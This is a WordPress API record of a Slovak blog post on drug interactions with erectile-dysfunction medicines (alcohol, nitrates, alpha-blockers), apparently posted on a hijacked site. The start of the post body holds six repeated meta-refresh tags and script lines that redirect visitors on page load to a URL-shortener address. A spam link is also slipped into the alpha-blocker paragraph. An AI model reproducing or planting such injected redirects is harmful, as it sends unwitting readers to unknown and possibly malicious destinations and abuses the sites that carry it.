{"id":97190,"date":"2025-08-18T15:51:25","date_gmt":"2025-08-18T15:51:25","guid":{"rendered":"http:\/\/ansoldes.com\/?p=97190"},"modified":"2025-10-27T01:06:34","modified_gmt":"2025-10-27T01:06:34","slug":"liekove-interakcie-ktore-je-potrebne-zvai-s-liekmi-9","status":"publish","type":"post","link":"http:\/\/ansoldes.com\/index.php\/2025\/08\/18\/liekove-interakcie-ktore-je-potrebne-zvai-s-liekmi-9\/","title":{"rendered":"Liekov\u00e9 interakcie, ktor\u00e9 je potrebn\u00e9 zv\u00e1\u017ei\u0165 s liekmi na ED (alkohol, nitr\u00e1ty, alfa-blok\u00e1tory): bezpe\u010dnostn\u00fd kontroln\u00fd zoznam pred n\u00e1kupom"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><\/p>\n<p>Pochopenie potenci\u00e1lnych interakci\u00ed medzi liekmi na erektiln\u00fa dysfunkciu (ED) a in\u00fdmi l\u00e1tkami je rozhoduj\u00face pre zachovanie bezpe\u010dnosti a \u00fa\u010dinnosti pri pou\u017e\u00edvan\u00ed t\u00fdchto liekov.<\/p>\n<h2>Pochopenie ED drog a ich mechanizmu \u00fa\u010dinku<\/h2>\n<p>Lieky na erektiln\u00fa dysfunkciu (ED), be\u017ene zn\u00e1me ako inhib\u00edtory fosfodiester\u00e1zy typu 5 (inhib\u00edtory PDE5), funguj\u00fa tak, \u017ee zlep\u0161uj\u00fa prietok krvi do penisu, \u010d\u00edm u\u013eah\u010duj\u00fa erekciu ako odpove\u010f na sexu\u00e1lnu stimul\u00e1ciu. Prim\u00e1rny \u00fa\u010dinok zah\u0155\u0148a inhib\u00edciu enz\u00fdmu PDE5, \u010do vedie k zv\u00fd\u0161eniu hlad\u00edn cyklick\u00e9ho guanoz\u00ednmonofosf\u00e1tu (cGMP) v bunk\u00e1ch hladk\u00e9ho svalstva.<\/p>\n<p>Tieto lieky, vr\u00e1tane sildenafilu, tadalafilu a vardenafilu, sp\u00f4sobili revol\u00faciu v lie\u010dbe ED t\u00fdm, \u017ee poskytuj\u00fa \u00fa\u010dinn\u00fa a neinvaz\u00edvnu mo\u017enos\u0165. Ich mechanizmus sa zameriava na cievny syst\u00e9m, ktor\u00fd je kritickou zlo\u017ekou erektilnej funkcie, a preto si vy\u017eaduje starostliv\u00e9 zv\u00e1\u017eenie interakci\u00ed s in\u00fdmi liekmi, ktor\u00e9 tie\u017e ovplyv\u0148uj\u00fa prietok krvi a kardiovaskul\u00e1rne zdravie.<\/p>\n<h2>Be\u017ene predpisovan\u00e9 lieky na ED<\/h2>\n<p>Naj\u010dastej\u0161ie predpisovan\u00fdmi liekmi na ED s\u00fa sildenafil (Viagra), tadalafil (Cialis) a vardenafil (Levitra). Ka\u017ed\u00fd z t\u00fdchto liekov sa mierne l\u00ed\u0161i, pokia\u013e ide o n\u00e1stup a trvanie \u00fa\u010dinku. Napr\u00edklad tadalafil je zn\u00e1my svojim dlh\u0161\u00edm pol\u010dasom rozpadu, \u010do umo\u017e\u0148uje v\u00e4\u010d\u0161iu spont\u00e1nnos\u0165, preto\u017ee m\u00f4\u017ee by\u0165 \u00fa\u010dinn\u00fd a\u017e 36 hod\u00edn.<\/p>\n<p>Tieto lieky s\u00fa zvy\u010dajne dobre tolerovan\u00e9, ale vy\u017eaduj\u00fa si lek\u00e1rsky predpis a lek\u00e1rsky doh\u013ead kv\u00f4li mo\u017en\u00fdm ved\u013eaj\u0161\u00edm \u00fa\u010dinkom a interakci\u00e1m s in\u00fdmi liekmi. Pochopenie \u0161pecifick\u00fdch vlastnost\u00ed a odpor\u00fa\u010dan\u00e9ho pou\u017eitia pre ka\u017ed\u00e9ho m\u00f4\u017ee pom\u00f4c\u0165 pri v\u00fdbere najvhodnej\u0161ej lie\u010dby pre individu\u00e1lne potreby.<\/p>\n<h2>Alkohol a drogy ED: potenci\u00e1lne rizik\u00e1 a ved\u013eaj\u0161ie \u00fa\u010dinky<\/h2>\n<p>Zatia\u013e \u010do mierna konzum\u00e1cia alkoholu sa vo v\u0161eobecnosti pova\u017euje za bezpe\u010dn\u00fa, kombin\u00e1cia alkoholu s liekmi na ED m\u00f4\u017ee zv\u00fd\u0161i\u0165 riziko ved\u013eaj\u0161\u00edch \u00fa\u010dinkov, ako s\u00fa z\u00e1vraty, mdloby a bolesti hlavy. Alkohol p\u00f4sob\u00ed ako vazodilat\u00e1tor, podobne ako inhib\u00edtory PDE5, \u010do m\u00f4\u017ee pri kombin\u00e1cii vies\u0165 k v\u00fdrazn\u00e9mu poklesu krvn\u00e9ho tlaku.<\/p>\n<p>Okrem toho nadmern\u00fd pr\u00edjem alkoholu m\u00f4\u017ee zhor\u0161i\u0165 schopnos\u0165 dosiahnu\u0165 erekciu, \u010d\u00edm p\u00f4sob\u00ed proti v\u00fdhod\u00e1m liekov na ED. Pri pl\u00e1novan\u00ed u\u017e\u00edvania liekov na ED sa odpor\u00fa\u010da obmedzi\u0165 konzum\u00e1ciu alkoholu, aby sa predi\u0161lo zhor\u0161eniu t\u00fdchto \u00fa\u010dinkov a aby sa zabezpe\u010dilo, \u017ee liek bude \u00fa\u010dinn\u00fd.<\/p>\n<h2>Dusi\u010dnany a lieky ED: Nebezpe\u010dn\u00e1 kombin\u00e1cia<\/h2>\n<p>Kombin\u00e1cia nitr\u00e1tov s liekmi na ED je kontraindikovan\u00e1 kv\u00f4li riziku hlbokej hypotenzie. Dusi\u010dnany, pou\u017e\u00edvan\u00e9 predov\u0161etk\u00fdm na lie\u010dbu ang\u00edny pectoris a in\u00fdch srdcov\u00fdch ochoren\u00ed, tie\u017e roz\u0161iruj\u00fa krvn\u00e9 cievy, \u010do m\u00f4\u017ee vies\u0165 k z\u00e1va\u017en\u00e9mu poklesu krvn\u00e9ho tlaku, ak sa u\u017e\u00edva s inhib\u00edtormi PDE5.<\/p>\n<p>T\u00e1to interakcia m\u00f4\u017ee vies\u0165 k \u017eivot ohrozuj\u00facim n\u00e1sledkom, a preto by sa jednotlivci, ktor\u00fdm boli predp\u00edsan\u00e9 nitr\u00e1ty, mali \u00faplne vyh\u00fdba\u0165 liekom na ED. V t\u00fdchto pr\u00edpadoch by sa mala zv\u00e1\u017ei\u0165 alternat\u00edvna lie\u010dba erektilnej dysfunkcie, \u010d\u00edm sa zd\u00f4raz\u0148uje d\u00f4le\u017eitos\u0165 prediskutovania v\u0161etk\u00fdch liekov s poskytovate\u013eom zdravotnej starostlivosti.<\/p>\n<h2>Interakcie medzi alfa-blok\u00e1tormi a liekmi na ED<\/h2>\n<p>Alfa-blok\u00e1tory, pou\u017e\u00edvan\u00e9 na lie\u010dbu stavov, ako je vysok\u00fd krvn\u00fd tlak a probl\u00e9my s prostatou, m\u00f4\u017eu interagova\u0165 s liekmi na ED a sp\u00f4sobi\u0165 v\u00fdrazn\u00e9 zn\u00ed\u017eenie krvn\u00e9ho tlaku. T\u00e1to interakcia sa t\u00fdka najm\u00e4 jedincov, ktor\u00ed u\u017e u\u017e\u00edvaj\u00fa antihypertenz\u00edvnu lie\u010dbu.<\/p>\n<p>Na bezpe\u010dn\u00e9 zvl\u00e1dnutie t\u00fdchto <a href=\"https:\/\/zdraviedomov.com\/\">https:\/\/zdraviedomov.com\/<\/a> interakci\u00ed m\u00f4\u017eu poskytovatelia zdravotnej starostlivosti upravi\u0165 na\u010dasovanie a d\u00e1vkovanie bu\u010f alfa-blok\u00e1tora alebo lieku ED. Toto starostliv\u00e9 riadenie umo\u017e\u0148uje bezpe\u010dn\u00e9 pou\u017e\u00edvanie oboch typov liekov bez ohrozenia kardiovaskul\u00e1rnej stability.<\/p>\n<h2>Ako bezpe\u010dne spravova\u0165 lieky na ED pomocou in\u00fdch receptov<\/h2>\n<p>Bezpe\u010dn\u00e9 riadenie liekov na ED spolu s in\u00fdmi predpismi zah\u0155\u0148a komplexn\u00fd preh\u013ead v\u0161etk\u00fdch s\u00fa\u010dasn\u00fdch liekov a potenci\u00e1lnych interakci\u00ed. Pacienti by mali svojim poskytovate\u013eom zdravotnej starostlivosti poskytn\u00fa\u0165 \u00fapln\u00fd zoznam v\u0161etk\u00fdch liekov, ktor\u00e9 u\u017e\u00edvaj\u00fa, vr\u00e1tane vo\u013enopredajn\u00fdch liekov a doplnkov stravy.<\/p>\n<p>Pravideln\u00e9 sledovanie a sledovanie ak\u00fdchko\u013evek ne\u017eiaducich \u00fa\u010dinkov s\u00fa nevyhnutn\u00e9 na zabezpe\u010denie toho, aby bola lie\u010dba ED bezpe\u010dn\u00e1 aj \u00fa\u010dinn\u00e1. \u00dapravy lie\u010debn\u00fdch re\u017eimov m\u00f4\u017eu by\u0165 potrebn\u00e9 na z\u00e1klade odpovede pacienta a ak\u00fdchko\u013evek zaznamenan\u00fdch ved\u013eaj\u0161\u00edch \u00fa\u010dinkov.<\/p>\n<h2>Rozpoznanie sympt\u00f3mov ne\u017eiaducich reakci\u00ed<\/h2>\n<p>Uvedomenie si sympt\u00f3mov ne\u017eiaducich reakci\u00ed je k\u013e\u00fa\u010dov\u00e9 pri u\u017e\u00edvan\u00ed liekov na ED. Be\u017en\u00e9 pr\u00edznaky zah\u0155\u0148aj\u00fa bolesti hlavy, n\u00e1valy hor\u00fa\u010davy, upchat\u00fd nos a v niektor\u00fdch pr\u00edpadoch aj poruchy videnia. Aj ke\u010f s\u00fa zvy\u010dajne mierne, z\u00e1va\u017enej\u0161ie reakcie, ako je boles\u0165 na hrudn\u00edku, siln\u00e9 z\u00e1vraty alebo pred\u013a\u017een\u00e1 erekcia (priapizmus), vy\u017eaduj\u00fa okam\u017eit\u00fa lek\u00e1rsku pomoc.<\/p>\n<p>Pacienti by mali by\u0165 pou\u010den\u00ed o t\u00fdchto pr\u00edznakoch a pou\u010den\u00ed o tom, kedy maj\u00fa vyh\u013eada\u0165 lek\u00e1rsku pomoc. Okam\u017eit\u00e9 rozpoznanie a reakcia m\u00f4\u017eu zabr\u00e1ni\u0165 z\u00e1va\u017en\u00fdm komplik\u00e1ci\u00e1m a zabezpe\u010di\u0165 nepretr\u017eit\u00e9 bezpe\u010dn\u00e9 pou\u017e\u00edvanie t\u00fdchto liekov.<\/p>\n<h2>Konzult\u00e1cia s poskytovate\u013emi zdravotnej starostlivosti pred za\u010dat\u00edm lie\u010dby ED Drugs<\/h2>\n<p>Pred za\u010dat\u00edm akejko\u013evek lie\u010dby ED je prvorad\u00e1 konzult\u00e1cia s poskytovate\u013eom zdravotnej starostlivosti. T\u00e1to konzult\u00e1cia zabezpe\u010duje d\u00f4kladn\u00e9 vyhodnotenie zdravotn\u00e9ho stavu pacienta a pr\u00edpadn\u00fdch kontraindik\u00e1ci\u00ed. Poskytuje tie\u017e pr\u00edle\u017eitos\u0165 prediskutova\u0165 potenci\u00e1lne ved\u013eaj\u0161ie \u00fa\u010dinky a interakcie s in\u00fdmi liekmi.<\/p>\n<p>Poskytovatelia zdravotnej starostlivosti m\u00f4\u017eu pon\u00faknu\u0165 cenn\u00e9 rady o \u00faprave \u017eivotn\u00e9ho \u0161t\u00fdlu a in\u00fdch lie\u010debn\u00fdch postupoch, ktor\u00e9 m\u00f4\u017eu prospie\u0165 erektilnej funkcii, \u010d\u00edm sa zabezpe\u010d\u00ed holistick\u00fd pr\u00edstup k lie\u010dbe ED.<\/p>\n<h2>\u00davahy o \u017eivotnom \u0161t\u00fdle pri u\u017e\u00edvan\u00ed liekov na ED<\/h2>\n<p>Za\u010dlenenie zmien \u017eivotn\u00e9ho \u0161t\u00fdlu m\u00f4\u017ee zv\u00fd\u0161i\u0165 \u00fa\u010dinnos\u0165 liekov na ED. Pravideln\u00e9 cvi\u010denie, vyv\u00e1\u017een\u00e1 strava a udr\u017eiavanie si zdravej hmotnosti m\u00f4\u017eu zlep\u0161i\u0165 kardiovaskul\u00e1rne zdravie, a t\u00fdm podpori\u0165 erektiln\u00fa funkciu. Pozit\u00edvne m\u00f4\u017ee prispie\u0165 aj zn\u00ed\u017eenie stresu a vyh\u00fdbanie sa faj\u010deniu.<\/p>\n<p>Tieto faktory \u017eivotn\u00e9ho \u0161t\u00fdlu nielen zvy\u0161uj\u00fa \u00fa\u010dinnos\u0165 liekov na ED, ale zlep\u0161uj\u00fa aj celkov\u00e9 zdravie, \u010d\u00edm potenci\u00e1lne zni\u017euj\u00fa potrebu vy\u0161\u0161\u00edch d\u00e1vok alebo \u010fal\u0161\u00edch liekov.<\/p>\n<h2>Je d\u00f4le\u017eit\u00e9, aby ste lek\u00e1rovi ozn\u00e1mili v\u0161etky lieky<\/h2>\n<p>\u00dapln\u00e1 transparentnos\u0165 s poskytovate\u013emi zdravotnej starostlivosti t\u00fdkaj\u00faca sa v\u0161etk\u00fdch u\u017e\u00edvan\u00fdch liekov je \u017eivotne d\u00f4le\u017eit\u00e1 pri predch\u00e1dzan\u00ed nebezpe\u010dn\u00fdm interakci\u00e1m. To zah\u0155\u0148a lieky na predpis, vo\u013enopredajn\u00e9 lieky a ak\u00e9ko\u013evek doplnky.<\/p>\n<p>Tak\u00e9to zverejnenia umo\u017e\u0148uj\u00fa poskytovate\u013eom zdravotnej starostlivosti robi\u0165 informovan\u00e9 rozhodnutia o lie\u010dbe ED, prisp\u00f4sobi\u0165 poradenstvo individu\u00e1lnym potreb\u00e1m a zmierni\u0165 ak\u00e9ko\u013evek potenci\u00e1lne rizik\u00e1 spojen\u00e9 s liekov\u00fdmi interakciami.<\/p>\n<h2>Vo\u013ene predajn\u00e9 doplnky a liekov\u00e9 interakcie ED<\/h2>\n<p>Vo\u013ene predajn\u00e9 doplnky m\u00f4\u017eu niekedy interagova\u0165 s liekmi na ED, \u010do ovplyv\u0148uje ich \u00fa\u010dinnos\u0165 alebo zvy\u0161uje riziko ne\u017eiaducich \u00fa\u010dinkov. Doplnky ako \u017een\u0161en a L-argin\u00edn, \u010dasto pred\u00e1van\u00e9 pre sexu\u00e1lne zdravie, m\u00f4\u017eu ma\u0165 nepredv\u00eddan\u00e9 interakcie.<\/p>\n<p>Pacienti by sa pred kombinovan\u00edm ak\u00fdchko\u013evek doplnkov s liekmi na ED mali poradi\u0165 so svojimi poskytovate\u013emi zdravotnej starostlivosti. Toto opatrenie pom\u00e1ha zabezpe\u010di\u0165, aby doplnky ne\u00famyselne neohrozili lie\u010dbu alebo neviedli k neo\u010dak\u00e1van\u00fdm ved\u013eaj\u0161\u00edm \u00fa\u010dinkom.<\/p>\n<h2>Pokyny pre bezpe\u010dn\u00e9 pou\u017e\u00edvanie liekov na ED<\/h2>\n<p>Dodr\u017eiavanie zaveden\u00fdch pokynov na bezpe\u010dn\u00e9 pou\u017e\u00edvanie liekov na ED m\u00f4\u017ee zabr\u00e1ni\u0165 mnoh\u00fdm komplik\u00e1ci\u00e1m. Patr\u00ed medzi ne u\u017e\u00edvanie liekov pod\u013ea predpisu, vyh\u00fdbanie sa kontraindikovan\u00fdm l\u00e1tkam a dodr\u017eiavanie odpor\u00fa\u010dan\u00fdch zmien \u017eivotn\u00e9ho \u0161t\u00fdlu.<\/p>\n<p>Pacienti by tie\u017e mali by\u0165 informovan\u00ed o spr\u00e1vnom skladovan\u00ed liekov a d\u00f4le\u017eitosti pravideln\u00fdch kontrol u svojho poskytovate\u013ea zdravotnej starostlivosti s cie\u013eom monitorova\u0165 \u00fa\u010dinnos\u0165 a bezpe\u010dnos\u0165 lie\u010dby.<\/p>\n<h2>\u010co robi\u0165 v pr\u00edpade pred\u00e1vkovania liekom na ED<\/h2>\n<p>Pred\u00e1vkovanie liekmi na ED m\u00f4\u017ee vies\u0165 k v\u00e1\u017enym zdravotn\u00fdm n\u00e1sledkom, ako je drastick\u00fd pokles krvn\u00e9ho tlaku alebo priapizmus. V tak\u00fdchto pr\u00edpadoch je nevyhnutn\u00e1 okam\u017eit\u00e1 lek\u00e1rska pomoc, aby sa predi\u0161lo dlhodob\u00e9mu po\u0161kodeniu alebo \u017eivot ohrozuj\u00facim komplik\u00e1ci\u00e1m.<\/p>\n<p>Pacienti by mali by\u0165 pou\u010den\u00ed o pr\u00edznakoch pred\u00e1vkovania a pou\u010den\u00ed, aby kontaktovali pohotovostn\u00fa slu\u017ebu, ak maj\u00fa podozrenie, \u017ee u\u017eili pr\u00edli\u0161 ve\u013ea liekov na ED. Tento proakt\u00edvny pr\u00edstup zabezpe\u010duje v\u010dasn\u00fd z\u00e1sah a minimalizuje potenci\u00e1lne \u0161kody.<\/p>\n<h2>Sledujte svoje zdravie po\u010das u\u017e\u00edvania liekov na ED<\/h2>\n<p>Pri u\u017e\u00edvan\u00ed liekov na ED je nevyhnutn\u00e9 pravideln\u00e9 sledovanie zdravotn\u00e9ho stavu. To zah\u0155\u0148a sledovanie krvn\u00e9ho tlaku, srdcovej frekvencie a ak\u00fdchko\u013evek zaznamenan\u00fdch ved\u013eaj\u0161\u00edch \u00fa\u010dinkov. Tak\u00e9to monitorovanie umo\u017e\u0148uje v\u010dasn\u00e9 prisp\u00f4sobenie lie\u010dby a zais\u0165uje optim\u00e1lnu bezpe\u010dnos\u0165.<\/p>\n<p>Poskytovatelia zdravotnej starostlivosti by mali \u00fazko spolupracova\u0165 s pacientmi na vytvoren\u00ed pl\u00e1nu monitorovania prisp\u00f4soben\u00e9ho ich \u0161pecifick\u00fdm zdravotn\u00fdm potreb\u00e1m, \u010d\u00edm sa zabezpe\u010d\u00ed, \u017ee lie\u010dba ED zostane z dlhodob\u00e9ho h\u013eadiska \u00fa\u010dinn\u00e1 a bezpe\u010dn\u00e1.<\/p>\n<h2>Bud\u00faci v\u00fdvoj v oblasti bezpe\u010dnosti a interakci\u00ed liekov ED<\/h2>\n<p>Oblas\u0165 lie\u010dby ED sa neust\u00e1le vyv\u00edja a prebieha v\u00fdskum zameran\u00fd na zlep\u0161enie bezpe\u010dnosti a \u00fa\u010dinnosti liekov. Bud\u00faci v\u00fdvoj m\u00f4\u017ee zah\u0155\u0148a\u0165 nov\u00e9 lieky, ktor\u00e9 pon\u00fakaj\u00fa menej interakci\u00ed alebo inovat\u00edvne syst\u00e9my pod\u00e1vania, ktor\u00e9 zlep\u0161uj\u00fa v\u00fdsledky lie\u010dby.<\/p>\n<p>Pokrok v ch\u00e1pan\u00ed genetick\u00e9ho a molekul\u00e1rneho z\u00e1kladu ED by mohol vies\u0165 k personalizovanej\u0161\u00edm lie\u010debn\u00fdm pr\u00edstupom, zn\u00ed\u017eeniu rizika interakci\u00ed a zlep\u0161eniu celkovej spokojnosti pacienta s lie\u010dbou.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pochopenie potenci\u00e1lnych interakci\u00ed medzi liekmi na erektiln\u00fa dysfunkciu (ED) a in\u00fdmi l\u00e1tkami je rozhoduj\u00face pre zachovanie bezpe\u010dnosti a \u00fa\u010dinnosti pri pou\u017e\u00edvan\u00ed t\u00fdchto liekov. Pochopenie ED drog a ich mechanizmu \u00fa\u010dinku Lieky na erektiln\u00fa dysfunkciu (ED), be\u017ene zn\u00e1me ako inhib\u00edtory fosfodiester\u00e1zy typu 5 (inhib\u00edtory PDE5), funguj\u00fa tak, \u017ee zlep\u0161uj\u00fa prietok krvi do penisu, \u010d\u00edm u\u013eah\u010duj\u00fa erekciu [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":[],"categories":[270],"tags":[],"_links":{"self":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts\/97190"}],"collection":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/comments?post=97190"}],"version-history":[{"count":1,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts\/97190\/revisions"}],"predecessor-version":[{"id":97191,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts\/97190\/revisions\/97191"}],"wp:attachment":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/media?parent=97190"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/categories?post=97190"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/tags?post=97190"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}